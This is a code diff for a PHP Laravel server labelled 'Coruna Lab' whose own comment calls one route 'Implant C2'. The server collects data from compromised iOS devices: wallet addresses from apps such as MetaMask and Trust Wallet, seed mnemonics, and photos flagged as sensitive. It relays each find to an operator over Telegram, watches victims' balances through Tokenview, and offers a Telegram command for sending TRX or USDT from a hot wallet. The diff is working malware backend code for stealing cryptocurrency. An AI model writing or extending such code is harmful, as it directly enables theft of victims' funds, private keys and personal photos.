|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'parse_mode' => 'HTML',
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
@@ -40,21 +42,91 @@ class TelegramNotifier
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New device',
|
||||
'id: '.$deviceId,
|
||||
'ios: '.($ios ?: '—'),
|
||||
'ip: '.($ip ?: '—'),
|
||||
'📱 <b>New Device</b>',
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->notifyNewWallets($deviceId, [[
|
||||
'address' => $address,
|
||||
'chain' => $chain ?: '',
|
||||
'balance' => $balance ?: '',
|
||||
'source' => $symbol ?: '',
|
||||
]]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Batch wallet alerts into a single Telegram message.
|
||||
*
|
||||
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
|
||||
*/
|
||||
public function notifyNewWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
];
|
||||
|
||||
foreach ($wallets as $i => $w) {
|
||||
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
|
||||
if ($bal === '') {
|
||||
$bal = '—';
|
||||
}
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines));
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New wallet address',
|
||||
'device: '.$deviceId,
|
||||
'chain: '.($chain ?: '—'),
|
||||
'address: '.$address,
|
||||
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewPhotos(string $deviceId): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
string $symbol,
|
||||
string $amount,
|
||||
?string $chain = null,
|
||||
): void {
|
||||
$this->send(implode("\n", [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
]));
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Tokenview;
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewClient
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (string) config('coruna.tokenview.api_key') !== '';
|
||||
}
|
||||
|
||||
public function setWebhookUrl(string $url): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)
|
||||
->withBody($url, 'text/plain')
|
||||
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
|
||||
|
||||
return $resp->successful() && (int) $resp->json('code') === 1;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getWebhookUrl(): ?string
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
|
||||
return null;
|
||||
}
|
||||
$data = $resp->json('data');
|
||||
|
||||
return is_string($data) && $data !== '' ? $data : null;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function addAddress(string $coinAbbr, string $address): bool
|
||||
{
|
||||
return $this->mutateAddress('add', $coinAbbr, $address);
|
||||
}
|
||||
|
||||
public function removeAddress(string $coinAbbr, string $address): bool
|
||||
{
|
||||
return $this->mutateAddress('remove', $coinAbbr, $address);
|
||||
}
|
||||
|
||||
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$coin = strtolower($coinAbbr);
|
||||
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
|
||||
$endpoint = sprintf(
|
||||
'%s/monitor/address/%s/%s/%s',
|
||||
rtrim((string) config('coruna.tokenview.base_url'), '/'),
|
||||
$action,
|
||||
rawurlencode($coin),
|
||||
rawurlencode($addr)
|
||||
);
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
|
||||
return $resp->successful() && (int) $resp->json('code') === 1;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
|
||||
'coin' => $coin,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Tokenview;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\TokenviewEvent;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewMonitorService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TokenviewClient $client,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Map chain_type → Tokenview coin abbr (null = unsupported).
|
||||
*/
|
||||
public static function coinAbbrFromChainType(?string $chainType): ?string
|
||||
{
|
||||
return match (strtoupper(trim((string) $chainType))) {
|
||||
'ETH', 'ETHEREUM', 'EVM' => 'eth',
|
||||
'TRX', 'TRON' => 'trx',
|
||||
'BTC', 'BITCOIN' => 'btc',
|
||||
'BNB', 'BSC', 'BINANCE' => 'bsc',
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Map Tokenview webhook coin → wallet_addresses column for native value.
|
||||
*/
|
||||
public static function nativeColumnForCoin(string $coin): ?string
|
||||
{
|
||||
return match (strtoupper($coin)) {
|
||||
'ETH' => 'eth',
|
||||
'TRX' => 'trx',
|
||||
'BTC' => 'btc',
|
||||
'BSC', 'BNB' => 'bnb',
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
public function syncMonitor(WalletAddress $address): bool
|
||||
{
|
||||
if (! $this->client->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$coin = self::coinAbbrFromChainType($address->chain_type);
|
||||
if ($coin === null) {
|
||||
Log::info('tokenview sync skipped: unsupported chain', [
|
||||
'id' => $address->id,
|
||||
'chain_type' => $address->chain_type,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$addr = (string) $address->address;
|
||||
if ((int) $address->monitor === 1) {
|
||||
return $this->client->addAddress($coin, $addr);
|
||||
}
|
||||
|
||||
return $this->client->removeAddress($coin, $addr);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function handleWebhook(array $payload): void
|
||||
{
|
||||
$address = trim((string) ($payload['address'] ?? ''));
|
||||
$txid = trim((string) ($payload['txid'] ?? ''));
|
||||
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
|
||||
if ($address === '' || $txid === '' || $coin === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
|
||||
$value = $payload['value'] ?? null;
|
||||
$tokenValue = $payload['tokenValue'] ?? null;
|
||||
|
||||
$lookup = $this->normalizeAddress($address, $coin);
|
||||
$rows = WalletAddress::query()
|
||||
->where('monitor', 1)
|
||||
->where(function ($q) use ($lookup, $address) {
|
||||
$q->where('address', $lookup)->orWhere('address', $address);
|
||||
if (strcasecmp($lookup, $address) !== 0) {
|
||||
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
|
||||
}
|
||||
})
|
||||
->get();
|
||||
|
||||
if ($rows->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$dedupeSymbol = $tokenSymbol;
|
||||
try {
|
||||
TokenviewEvent::query()->create([
|
||||
'txid' => $txid,
|
||||
'address' => $lookup,
|
||||
'coin' => $coin,
|
||||
'token_symbol' => $dedupeSymbol,
|
||||
'value' => is_scalar($value) ? (string) $value : null,
|
||||
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
// unique violation → already processed
|
||||
return;
|
||||
}
|
||||
|
||||
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
|
||||
if ($deltas === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
DB::transaction(function () use ($rows, $deltas) {
|
||||
foreach ($rows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
foreach ($deltas as $col => $delta) {
|
||||
$current = $row->{$col};
|
||||
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
|
||||
$row->{$col} = $base + $delta;
|
||||
}
|
||||
$row->save();
|
||||
}
|
||||
});
|
||||
|
||||
$inbound = [];
|
||||
foreach ($deltas as $col => $delta) {
|
||||
if ($delta > 0) {
|
||||
$inbound[$col] = $delta;
|
||||
}
|
||||
}
|
||||
if ($inbound === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
|
||||
foreach ($inbound as $col => $delta) {
|
||||
$this->telegram->notifyBalanceChange(
|
||||
(string) $deviceKey,
|
||||
$lookup,
|
||||
strtoupper($col),
|
||||
WalletAddress::formatAmount($col, $delta),
|
||||
$coin
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function verifySignature(string $rawBody, ?string $signature): bool
|
||||
{
|
||||
$signKey = (string) config('coruna.tokenview.sign_key');
|
||||
if ($signKey === '') {
|
||||
return true;
|
||||
}
|
||||
if ($signature === null || $signature === '') {
|
||||
return false;
|
||||
}
|
||||
$expected = hash_hmac('sha256', $rawBody, $signKey);
|
||||
|
||||
return hash_equals($expected, strtolower($signature))
|
||||
|| hash_equals($expected, $signature);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, float> column => delta
|
||||
*/
|
||||
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
|
||||
{
|
||||
$deltas = [];
|
||||
|
||||
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
|
||||
$col = strtolower($tokenSymbol);
|
||||
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
|
||||
$deltas[$col] = (float) $tokenValue;
|
||||
}
|
||||
}
|
||||
|
||||
if (is_numeric($value)) {
|
||||
$nativeCol = self::nativeColumnForCoin($coin);
|
||||
if ($nativeCol !== null) {
|
||||
// Prefer token delta when both present for same column (USDT-only token txs
|
||||
// often still send a tiny native gas value — keep both columns when distinct).
|
||||
$deltas[$nativeCol] = (float) $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $deltas;
|
||||
}
|
||||
|
||||
private function normalizeAddress(string $address, string $coin): string
|
||||
{
|
||||
$c = strtolower($coin);
|
||||
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
|
||||
return strtolower($address);
|
||||
}
|
||||
|
||||
return $address;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Services\Chain\ChainManager;
|
||||
use RuntimeException;
|
||||
|
||||
class TransferService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
|
||||
*/
|
||||
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
|
||||
{
|
||||
try {
|
||||
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
|
||||
if (trim($mnemonic) === '') {
|
||||
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
|
||||
}
|
||||
|
||||
$index = (int) config('coruna.hot_wallet.index', 0);
|
||||
$asset = strtoupper(trim($asset));
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
if (! $driver->isValidAddress($to)) {
|
||||
return ['ok' => false, 'error' => 'Invalid recipient address'];
|
||||
}
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
|
||||
$from = $driver->deriveAddress($mnemonic, $index);
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
return ['ok' => true, 'txid' => $txid, 'from' => $from];
|
||||
} catch (\Throwable $e) {
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
|
||||
$max = (string) config($maxKey, '0');
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
|
||||
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
|
||||
final class AgentScope
|
||||
{
|
||||
/**
|
||||
* Channel IDs owned by the agent (empty list means no access).
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function channelIdsFor(?User $agent): array
|
||||
{
|
||||
if ($agent === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->pluck('channel_id')
|
||||
->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* Restrict a devices query (or anything with devices.channel_id) to an agent.
|
||||
* Admin passes null agent → no restriction.
|
||||
*/
|
||||
public static function applyDeviceChannelScope(Builder $query, ?User $agent, string $channelColumn = 'devices.channel_id'): Builder
|
||||
{
|
||||
if ($agent === null) {
|
||||
return $query;
|
||||
}
|
||||
|
||||
$ids = self::channelIdsFor($agent);
|
||||
if ($ids === []) {
|
||||
return $query->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $query->whereIn($channelColumn, $ids);
|
||||
}
|
||||
|
||||
public static function applyAgentUserFilter(Builder $devicesQuery, ?int $agentUserId): Builder
|
||||
{
|
||||
if ($agentUserId === null || $agentUserId <= 0) {
|
||||
return $devicesQuery;
|
||||
}
|
||||
|
||||
$ids = Channel::query()
|
||||
->where('user_id', $agentUserId)
|
||||
->pluck('channel_id')
|
||||
->all();
|
||||
|
||||
if ($ids === []) {
|
||||
return $devicesQuery->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $devicesQuery->whereIn('devices.channel_id', $ids);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* Map plugin short tag payload `a` → human wallet name.
|
||||
*/
|
||||
final class WalletSource
|
||||
{
|
||||
/** @var array<string, string> */
|
||||
private const TAGS = [
|
||||
'b' => 'imToken',
|
||||
'b1' => 'imToken',
|
||||
'p' => 'Global Wallet',
|
||||
'd' => 'Trust Wallet',
|
||||
'r' => 'Bitpie',
|
||||
'q' => 'Coin98',
|
||||
'e' => 'Coinbase Wallet',
|
||||
'k' => 'Exodus',
|
||||
'm' => 'Krystal',
|
||||
'a' => 'MetaMask',
|
||||
'a1' => 'MetaMask',
|
||||
'j' => 'MyTonWallet',
|
||||
'i' => 'Phantom',
|
||||
'l' => 'Ronin',
|
||||
'n' => 'Tonhub',
|
||||
'g' => 'Tonkeeper',
|
||||
'h' => 'Uniswap',
|
||||
'h1' => 'Uniswap',
|
||||
't' => 'OKX',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
{
|
||||
if (! is_string($tag) || $tag === '') {
|
||||
return 'unknown';
|
||||
}
|
||||
$key = strtolower(trim($tag));
|
||||
|
||||
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
||||
}
|
||||
|
||||
/**
|
||||
* Infer chain type from address when plugin omits chainType.
|
||||
*/
|
||||
public static function inferChainType(string $address): string
|
||||
{
|
||||
$address = trim($address);
|
||||
if ($address === '') {
|
||||
return 'unknown';
|
||||
}
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
||||
return 'TRON';
|
||||
}
|
||||
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
|
||||
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
|
||||
return 'BSC';
|
||||
}
|
||||
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
|
||||
// Solana-like base58
|
||||
return 'SOLANA';
|
||||
}
|
||||
if (preg_match('/^EQ|^UQ/i', $address)) {
|
||||
return 'TON';
|
||||
}
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Format raw on-chain integer by decimal; pass through already-decimal strings.
|
||||
*/
|
||||
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
|
||||
{
|
||||
if ($raw === null || $raw === '') {
|
||||
return 0;
|
||||
}
|
||||
$rawStr = trim((string) $raw);
|
||||
if ($rawStr === '') {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Already human-readable (contains decimal point) — keep numeric value.
|
||||
if (str_contains($rawStr, '.')) {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
if ($decimal === null || $decimal === '') {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
$dec = (int) $decimal;
|
||||
if ($dec <= 0) {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
if (! function_exists('bcdiv')) {
|
||||
$value = ((float) $rawStr) / (10 ** $dec);
|
||||
|
||||
return self::normalizeNumber((string) $value);
|
||||
}
|
||||
|
||||
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
|
||||
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
||||
if ($formatted === '' || $formatted === '-0') {
|
||||
$formatted = '0';
|
||||
}
|
||||
|
||||
return self::normalizeNumber($formatted);
|
||||
}
|
||||
|
||||
private static function normalizeNumber(string $value): int|float|string
|
||||
{
|
||||
if (! is_numeric($value)) {
|
||||
return $value;
|
||||
}
|
||||
if (str_contains($value, '.')) {
|
||||
$f = (float) $value;
|
||||
|
||||
return $f == (int) $f ? (int) $f : $f;
|
||||
}
|
||||
// large integers stay as string if beyond PHP int
|
||||
if (strlen(ltrim($value, '+-')) > 18) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (int) $value;
|
||||
}
|
||||
|
||||
public static function nativeSymbolForChain(string $chainType): string
|
||||
{
|
||||
return match (strtoupper($chainType)) {
|
||||
'TRON', 'TRX' => 'TRX',
|
||||
'BITCOIN', 'BTC' => 'BTC',
|
||||
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
||||
'SOLANA', 'SOL' => 'SOL',
|
||||
'TON' => 'TON',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
default => strtoupper($chainType) ?: 'UNKNOWN',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class PingCommand
|
||||
{
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$bot->sendMessage('pong');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Services\TransferService;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TransferCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TransferService $transfers,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, string $args): void
|
||||
{
|
||||
$parts = preg_split('/\s+/', trim($args)) ?: [];
|
||||
|
||||
if (count($parts) < 2) {
|
||||
$bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$to = $parts[0];
|
||||
$amount = $parts[1];
|
||||
$asset = strtoupper($parts[2] ?? 'USDT');
|
||||
|
||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
|
||||
|
||||
$result = $this->transfers->handle('tron', $to, $amount, $asset);
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'✅ Transfer submitted',
|
||||
'From: '.$result['from'],
|
||||
'To: '.$to,
|
||||
'Amount: '.$amount.' '.$asset,
|
||||
'TxID: '.$result['txid'],
|
||||
]));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class AuthorizedChat
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$expected = (string) config('coruna.telegram.owner_chat_id', '');
|
||||
if ($expected === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$chatId = $bot->chatId();
|
||||
if ($chatId === null || (string) $chatId !== $expected) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
|
||||
class GroupAdminOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$chatId = $bot->chatId();
|
||||
$userId = $bot->userId();
|
||||
if ($chatId === null || $userId === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
$member = $bot->getChatMember($chatId, $userId);
|
||||
} catch (\Throwable) {
|
||||
$bot->sendMessage('⛔ Unable to verify admin status.');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$status = $member?->status;
|
||||
$ok = $status === ChatMemberStatus::CREATOR
|
||||
|| $status === ChatMemberStatus::ADMINISTRATOR
|
||||
|| $status === 'creator'
|
||||
|| $status === 'administrator';
|
||||
|
||||
if (! $ok) {
|
||||
$bot->sendMessage('⛔ Only group admins can use this command.');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -12,21 +12,42 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
|
||||
// Admin UI: session + CSRF
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
|
||||
// Admin + agent UI: session + CSRF
|
||||
Route::middleware('web')->group(base_path('routes/admin.php'));
|
||||
Route::middleware('web')->group(base_path('routes/user.php'));
|
||||
},
|
||||
commands: __DIR__.'/../routes/console.php',
|
||||
health: '/up',
|
||||
)
|
||||
->withMiddleware(function (Middleware $middleware): void {
|
||||
$middleware->alias([
|
||||
'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class,
|
||||
]);
|
||||
|
||||
$middleware->validateCsrfTokens(except: [
|
||||
'api/*',
|
||||
'link/*',
|
||||
'hooks/*',
|
||||
]);
|
||||
|
||||
// Admin uses auth:admin; there is no default "login" route.
|
||||
$middleware->redirectGuestsTo(fn () => route('admin.login'));
|
||||
$middleware->redirectUsersTo(fn () => route('admin.home'));
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
$path = request()->path();
|
||||
if (str_starts_with($path, 'user')) {
|
||||
return route('user.login');
|
||||
}
|
||||
|
||||
return route('admin.login');
|
||||
});
|
||||
$middleware->redirectUsersTo(function () {
|
||||
if (auth('agent')->check()) {
|
||||
return route('user.home');
|
||||
}
|
||||
|
||||
return route('admin.home');
|
||||
});
|
||||
})
|
||||
->withExceptions(function (Exceptions $exceptions): void {
|
||||
//
|
||||
|
||||
@@ -7,9 +7,14 @@
|
||||
"license": "MIT",
|
||||
"require": {
|
||||
"php": "^8.2",
|
||||
"furqansiddiqui/bip39-mnemonic-php": "^0.1.7",
|
||||
"guzzlehttp/guzzle": "^7.15",
|
||||
"kornrunner/keccak": "^1.1",
|
||||
"laravel/framework": "^12.0",
|
||||
"laravel/tinker": "^2.10.1"
|
||||
"laravel/tinker": "^2.10.1",
|
||||
"nutgram/laravel": "^1.7",
|
||||
"nutgram/nutgram": "^4.49",
|
||||
"simplito/elliptic-php": "^1.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"fakerphp/faker": "^1.23",
|
||||
|
||||
Generated
+525
-1
@@ -4,7 +4,7 @@
|
||||
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
||||
"This file is @generated automatically"
|
||||
],
|
||||
"content-hash": "5c2384428461c1b1c6da1debdc2a4700",
|
||||
"content-hash": "3a1612bc4d46f2bcff8904370145b15f",
|
||||
"packages": [
|
||||
{
|
||||
"name": "brick/math",
|
||||
@@ -579,6 +579,48 @@
|
||||
],
|
||||
"time": "2025-12-03T09:33:47+00:00"
|
||||
},
|
||||
{
|
||||
"name": "furqansiddiqui/bip39-mnemonic-php",
|
||||
"version": "0.1.7",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/furqansiddiqui/bip39-mnemonic-php.git",
|
||||
"reference": "673d19ef6b771dd69810df86d607e10cd41641e9"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
